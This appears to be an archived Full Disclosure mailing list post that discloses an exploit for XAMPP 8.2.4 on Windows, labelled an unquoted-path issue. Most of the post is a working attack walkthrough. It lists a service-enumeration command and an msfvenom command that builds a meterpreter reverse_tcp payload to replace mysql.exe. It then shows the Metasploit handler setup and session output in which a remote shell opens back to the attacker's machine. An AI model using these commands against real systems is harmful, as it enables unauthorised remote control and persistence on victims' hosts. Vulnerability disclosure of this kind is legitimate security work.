full-disclosure - [FD] Unquoted Path

Open Source and information security mailing list archives

Message-ID: <CAF2Wu1b8W+a9XoLRwFDAWkTpU1k1hdpNqB6jvGYLFiugZOuErA@mail.gmail.com>
Date: Sun, 9 Jul 2023 15:32:49 +0300
From: Andrey Stoykov <mwebsec@...il.com>
To: Fulldisclosure@...lists.org
Subject: [FD] Unquoted Path - XAMPP 8.2.4

# Exploit Title: XAMPP 8.2.4 - Unquoted Path
# Date: 07/2023
# Exploit Author: Andrey Stoykov
# Version: 8.2.4
# Software Link:
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.2.4/xampp-windows-x64-8.2.4-0-VS16-installer.exe
# Tested on: Windows Server 2022
# Blog: http://msecureltd.blogspot.com/

Steps to Exploit:

1. Search for unquoted paths
2. Generate meterpreter shell
3. Copy shell to XAMPP directory replacing "mysql.exe"
4. Exploit by double clicking on shell

C:\Users\astoykov>wmic service get name,displayname,pathname,startmode
|findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

mysql
        mysql
C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini
mysql            Auto

// Generate shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.16 lport=4444
-f exe -o mysql.exe

// Setup listener
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 192.168.1.13
msf6 exploit(multi/handler) > set lport 4443
msf6 exploit(multi/handler) > set payload meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.13:4443
[*] Sending stage (175686 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.13:4443 -> 192.168.1.11:49686)
at 2023-07-08 03:59:40 -0700

meterpreter > getuid
Server username: WIN-5PT4K404NLO\astoykov
meterpreter > getpid
Current pid: 4724
meterpreter > shell
Process 5884 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.1]
(c) Microsoft Corporation. All rights reserved.
[...]
C:\xampp\mysql\bin>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 80B5-B405

 Directory of C:\xampp\mysql\bin
[...]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives